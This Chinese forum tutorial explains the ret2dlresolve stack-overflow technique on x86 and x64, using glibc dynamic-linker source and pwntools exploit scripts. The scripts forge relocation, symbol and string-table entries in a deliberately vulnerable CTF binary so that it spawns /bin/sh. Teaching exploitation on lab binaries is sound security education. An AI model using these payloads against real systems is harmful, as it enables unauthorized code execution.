首页
社区
课程
招聘
[原创]高级栈溢出之ret2dlresolve详解(x86&x64),附源码分析
发表于: 2021-3-31 21:40 11937

[原创]高级栈溢出之ret2dlresolve详解(x86&x64),附源码分析

2021-3-31 21:40
11937

在Linux中,程序使用_dl_runtime_resolve(link_map,reloc_offset)来对动态链接的函数进行重定位。

而ret2dlresolve攻击的核心就是控制相应的参数及其对应地址的内容,从而控制解析的函数。

第一次调用一个函数时,先是到plt表,然后jmp到got表

image-20210310021149836

此时got表存的地址是在plt表上

image-20210310021312333

其实也就是jmp got的下一条指令,这里先是push一个数字(该函数在rel.plt上的偏移,reloc_arg,后文会讲到),然后jmp到plt[0] (0x8048380)

image-20210310021500238

在plt[0]处先是push got[1],got[1]就是link_map(链接器的标识信息,后文会讲到),然后jmp到got[2]处,got[2]就是_dl_runtime_resolve函数的地址

image-20210310021741590

image-20210310021812130

所以相当于执行了

这个函数会完成符号的解析,即将真实的write函数地址写入其GOT表对应的条目中,随后将控制器交给被解析的函数

_dl_runtime_resolve 函数其实就调用了 _dl_fixup 函数

image-20210310022001869

_dl_fixup是在glibc-2.23/elf/dl-runtime.c实现的,我们先分析接下来会用到的一些函数,完整的源码分析在后文

暂时看不懂不要紧,下面我们通过实践,逐步利用每一条语句进行伪造

难度是逐渐加深,学习建议是每一步都跟着脚本走一遍,关键地方我都给出了注释,然后最好自己能把每一步都写出来个大概

前面的一些概念和名词只需要大致知道是个什么东西,不需要深究,到后面自然会逐步加深理解。

文末给出了参考链接和相关文件及脚本的下载链接

我们先编译以下代码,一个常规的栈溢出,接下来我们在不leak的条件下逐步利用_dl_fixup函数最后get shell

保护如下:

image-20210308215541514

首先是先栈迁移到bss段,再手动调用plt[0],解析write函数,把命令打印出来,我们只需提前push reloc_arg(push 20h)即可完成利用

对应的是这一句

image-20210308203253841

image-20210308032722296

可以看到成功打印出字符

这一步我们控制好reloc_arg的大小,使reloc的位置落在可控地址(bss段)内,在bss段手动伪造出reloc,即伪造.rel.plt中关于write的内容,从而可以控制它的r_info

对应这一句

.rel.plt节是用于函数重定位,.rel.dyn是用于变量重定位

下面是rel的结构体定义

image-20210308203519387

.got节保存了全局变量偏移表,.got.plt节保存了全局函数偏移表。我们通常说的got表指的是.got.plt。.got.plt对应着Elf32_Rel结构中r_offset的值

只需要更改payload2内容

image-20210308145626565

再次成功调用

这一步我们控制好reloc中的r_info,使sym落在可控地址内,从而伪造sym,从而可以控制它的st_name(偏移)

对应这两句

.dynsym节包含了动态链接符号表。ELF32_Sym[num]中的num对应着ELF_R_SYM(Elf32_Rel->r_info)。根据定义,

sym的结构体如下(大小为0x10)

write的索引值为ELF32_R_SYM(0x607) = 0x607 >> 8 = 6。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7, 对应着R_386_JUMP_SLOT。

ida中的symtab

image-20210308202722769

image-20210310024353117

更改后的payload2

image-20210308194150522

相信到了这一步,对于接下来要做什么已经很清楚了,既然在上一步我们能控制st_name,那接下来自然是伪造st_name,从而可以控制字符串表

对应这一句

image-20210308202443146

image-20210308211100141

最后一步自然是最简单的,现在我们知道_dl_fixup最后是根据字符串也就是函数名来索引函数,而我们已经能控制字符串表,所以我们只需把write改为system,并把相应参数替换一下,即可get shell

image-20210308211713668

综上我们可以得出,程序调用动态函数流程为:压入两个参数 -> 由第一个参数(reloc_arg)确定重定位结构体(reloc_arg + rel_plt) -> 通过重定位结构体中的r_info确定符号表项(symtab[r_info >> 8]) -> 由符号表项的 st_name 确定字符串表(strtab)中函数对应字符串地址 (st_name + strtab)

所以我们一共需要伪造 reloc_arg ,r_info , st_name , str。

上面的例子是Partial RELRO,当程序为NO RELRO时,利用更加简单,因为此时的.dynamic节是可修改的,我们只需要用read函数把其中的strtab的地址修改为我们可以控制的地址,再在这个地址上伪造一个fake_strtab,把write字符串替换为system字符串,其他内容与原来的一样,然后设置好参数,最后在像上面的第一步一样,先push reloc_arg,再jmp 到plt[0]处即可。

其实就相当于直接一步到上面的最后一步

把上面源码编译

image-20210308223028489

利用思路已经在注释中给出

image-20210309005516979

64位下利用更简便,从栈传参变成了寄存器传参,不需要栈迁移,而且没有参数混乱的问题 ,一条rop链就能解决

脚本注释已经写得很清楚了

image-20210309020652776

同样先将上面的源码编译

image-20210310015601624

64位在这种情况下,如果像32位一样依次伪造reloc,symtab,strtab,会出错,原因是在_dl_fixup函数执行过程中,访问到了一段未映射的地址处,接下来我们结合 _dl_fixup 完整源码进行分析,源码位于 glibc-2.23/elf/dl-runtime.c , 在关键位置我都给出了注释,其他位置可忽略

所以接下来我们的任务就是控制 link_map 中的l_addrsym中的st_value

具体思路为

下面是64位下的sym结构体

其中

所以sym结构体的大小为24字节,st_value就位于sym[num]首地址+0x8的位置( 4 + 1 + 1 + 2)

我们自然就可以想到,如果,我们把一个函数的got表地址-0x8的位置当作sym表首地址,那么它的st_value的值就是这个函数的got表上的值,也就是实际地址,此时它的st_other恰好不为0

再来看link_map的结构

这里的.dynamic节就对应l_info的内容

image-20210310011345625

所以如果我们伪造一个link_map表,很容易就可以控制 l_addr ,通过阅读源码,我们知道_dl_fixup主要用了 l_info 的内容 ,也就是其中JMPREL,STRTAB,SYMTAB的地址。

所以我们需要伪造这个数组里的几个指针

DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)

DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)

DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)

然后伪造三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到

64位下重定位表项与32位有所不同

这里 Elf64_Addr、Elf64_Xword、Elf64_Sxword 都为 64 位,因此 Elf64_Rela 结构体的大小为 24 (0x18)字节。

image-20210309200557598

在这里可以看到,write 函数在符号表中的偏移为 1(0x100000007h>>32)

除此之外,在 64 位下,plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。比如,write 函数 push 的是 0,对应上图第一个位置

image-20210310003453921

接下来我们伪造link_map,know_func_ptr为已解析函数的got表地址,offset为system函数与这个函数在libc上的偏移,由于我们只需要在link_map特定的几个位置伪造指针,而中间的内容不会用到,所以我们就把伪造的rel.plt,symtab放在中间,方便理解可从下往上读代码。

下面是完整的脚本

image-20210310020518538

这种方法用于在不能leak出libc时使用,虽然过程略显繁杂,但掌握之后对底层的认识加深也有不少作用。

此外,x32和x64我都没有讲到FULL_RELERO,是因为此时程序中导入的函数地址会在程序开始执行之前被解析完毕,因此 got 表中 link_map 以及 dl_runtime_resolve 函数地址在程序执行的过程中不会被用到。故而,GOT 表中的这两个地址均为 0。所以我们没法利用dl_runtime_resolve来解析函数。

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/ret2dlresolve/

https://blog.csdn.net/seaaseesa/article/details/104478081

链接: https://pan.baidu.com/s/1Hjdc2TChA1fSBXTUfxp7AA 提取码: v7cc

 
 
 
 
 
 
 
 
 
 
_dl_runtime_resolve(link_map,reloc_arg)
_dl_runtime_resolve(link_map,reloc_arg)
 
 
_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
    // 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
    assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);   
}
_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
    // 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
    assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);   
}
 
 
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
 
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
 
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}
gcc -fno-stack-protector -m32 -z relro -no-pie rof.c -o parelro_x64
gcc -fno-stack-protector -m32 -z relro -no-pie rof.c -o parelro_x64
 
 
 
_dl_fixup(struct link_map *1,ElfW(Word) reloc_arg)
_dl_fixup(struct link_map *1,ElfW(Word) reloc_arg)
from pwn import *
elf = ELF('./bof')
context.log_level = 'debug'
 
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
 
ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"
 
stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
 
r = process('./bof')
 
r.recvuntil('Welcome to XDCTF2015~!\n')
# 把payload2写入bss段,并把栈迁移到bss段
payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.sendline(payload)
 
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
index_offset = 0x20# write's index
 
payload2 = flat('AAAA'
, p32(plt_0) # push link_map;jmp dl_runtime_resolve
, index_offset # 这里对应的就是 push 20h
, 'aaaa'
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, 'A' * 52
, cmd + '\x00'
, 'A' * 12)
 
r.sendline(payload2)
r.interactive()
from pwn import *
elf = ELF('./bof')
context.log_level = 'debug'
 
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
 
ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"
 
stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
 
r = process('./bof')
 
r.recvuntil('Welcome to XDCTF2015~!\n')
# 把payload2写入bss段,并把栈迁移到bss段
payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.sendline(payload)
 
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
index_offset = 0x20# write's index
 
payload2 = flat('AAAA'
, p32(plt_0) # push link_map;jmp dl_runtime_resolve
, index_offset # 这里对应的就是 push 20h
, 'aaaa'
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, 'A' * 52
, cmd + '\x00'
, 'A' * 12)
 
r.sendline(payload2)
r.interactive()
 
 
// 通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
// 通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
 
typedef struct{
    Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
    Elf32_Word r_info; // 符号表索引
}Elf32_Rel;
typedef struct{
    Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
    Elf32_Word r_info; // 符号表索引
}Elf32_Rel;
 
// 原本是
reloc_arg + rel_plt = rel_plt->write
// 伪造成
fake_arg + rel_plt = fake_write
// 原本是
reloc_arg + rel_plt = rel_plt->write
// 伪造成
fake_arg + rel_plt = fake_write
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']
r_info = 0x607 # 对应wirte,由 readelf -r bof 查询
fake_write = flat(p32(r_offset), p32(r_info)) # 伪造的rel_write
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, 'aaaa'
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write
, 'A' * 44
, cmd + '\x00'
, 'A' * 12)
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']
r_info = 0x607 # 对应wirte,由 readelf -r bof 查询
fake_write = flat(p32(r_offset), p32(r_info)) # 伪造的rel_write
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, 'aaaa'
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write
, 'A' * 44
, cmd + '\x00'
, 'A' * 12)
 
 
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
ELF_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel-> r_info) >> 8
ELF_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel-> r_info) >> 8
typedef struct
{
    Elf32_Word st_name; // Symbol name(string tbl index)
    Elf32_Addr st_value; // Symbol value
    Elf32_word st_size; // Symbol size
    unsigned char st_info; // Symbol type and binding
    unsigned char st_other; // symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
}Elf32_Sym;
typedef struct
{
    Elf32_Word st_name; // Symbol name(string tbl index)
    Elf32_Addr st_value; // Symbol value
    Elf32_word st_size; // Symbol size
    unsigned char st_info; // Symbol type and binding
    unsigned char st_other; // symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
}Elf32_Sym;
 
 
payload中0x4c的由来:
st_name = write_strtab - strtab = 0x4c
payload中0x4c的由来:
st_name = write_strtab - strtab = 0x4c
原本:
sym[num],num = (write_sym - dynsym) / 16 = 6
伪造后:
num = (fake_write_sym - dynsym) / 16
原本:
sym[num],num = (write_sym - dynsym) / 16 = 6
伪造后:
num = (fake_write_sym - dynsym) / 16
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
fake_write_addr = base_stage + 28
index_offset = fake_write_addr - rel_plt
r_offset = elf.got['write']
 
'''手动算偏移
base_stage + 28 = 134522944
base_stage + 28 + 8 - dynsym = 9868
9868 % 16 = 12
align = 16 - 12 = 4
r_info = (0x0804a040+0x800+28+12-0x080481d8)/16 = 617.0
'''
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write = flat(p32(r_offset), p32(r_info))
fake_sym = flat(p32(0x4c),p32(0),p32(0),p32(0x12)) # 0x4c就是st_name,0x12在IDA的symbol表可查到
 
payload2 = flat('AAAA'
, p32(plt_0)
, index_offset
, p32(ppp_ret)
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
 
r.sendline(payload2)
r.interactive()
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
fake_write_addr = base_stage + 28
index_offset = fake_write_addr - rel_plt
r_offset = elf.got['write']
 
'''手动算偏移
base_stage + 28 = 134522944
base_stage + 28 + 8 - dynsym = 9868
9868 % 16 = 12
align = 16 - 12 = 4
r_info = (0x0804a040+0x800+28+12-0x080481d8)/16 = 617.0
'''
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write = flat(p32(r_offset), p32(r_info))
fake_sym = flat(p32(0x4c),p32(0),p32(0),p32(0x12)) # 0x4c就是st_name,0x12在IDA的symbol表可查到
 
payload2 = flat('AAAA'
, p32(plt_0)
, index_offset
, p32(ppp_ret)
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
 
r.sendline(payload2)
r.interactive()
 
// 接着通过strtab+(sym->st_name)找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 接着通过strtab+(sym->st_name)找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
原本:
    st_name = write_strtab - strtab
伪造后:
    fake_name = fake_write_str_addr - strtab
原本:
    st_name = write_strtab - strtab
伪造后:
    fake_name = fake_write_str_addr - strtab
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
strtab = 0x08048278 #readelf -S bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'write\x00'
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
 
r.sendline(payload2)
r.interactive()
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
strtab = 0x08048278 #readelf -S bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'write\x00'
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
 
r.sendline(payload2)
r.interactive()
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
strtab = 0x08048278 #readelf -S bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'system\x00'
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage + 80)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
 
r.sendline(payload2)
r.interactive()
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
strtab = 0x08048278 #readelf -S bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'system\x00'
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage + 80)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (2)
雪    币: 119
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习一下
2021-3-31 21:58
0
雪    币: 29182
活跃值: (63621)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
3
感谢分享!
2021-3-31 22:19
0
游客
登录 | 注册 方可回帖
返回
//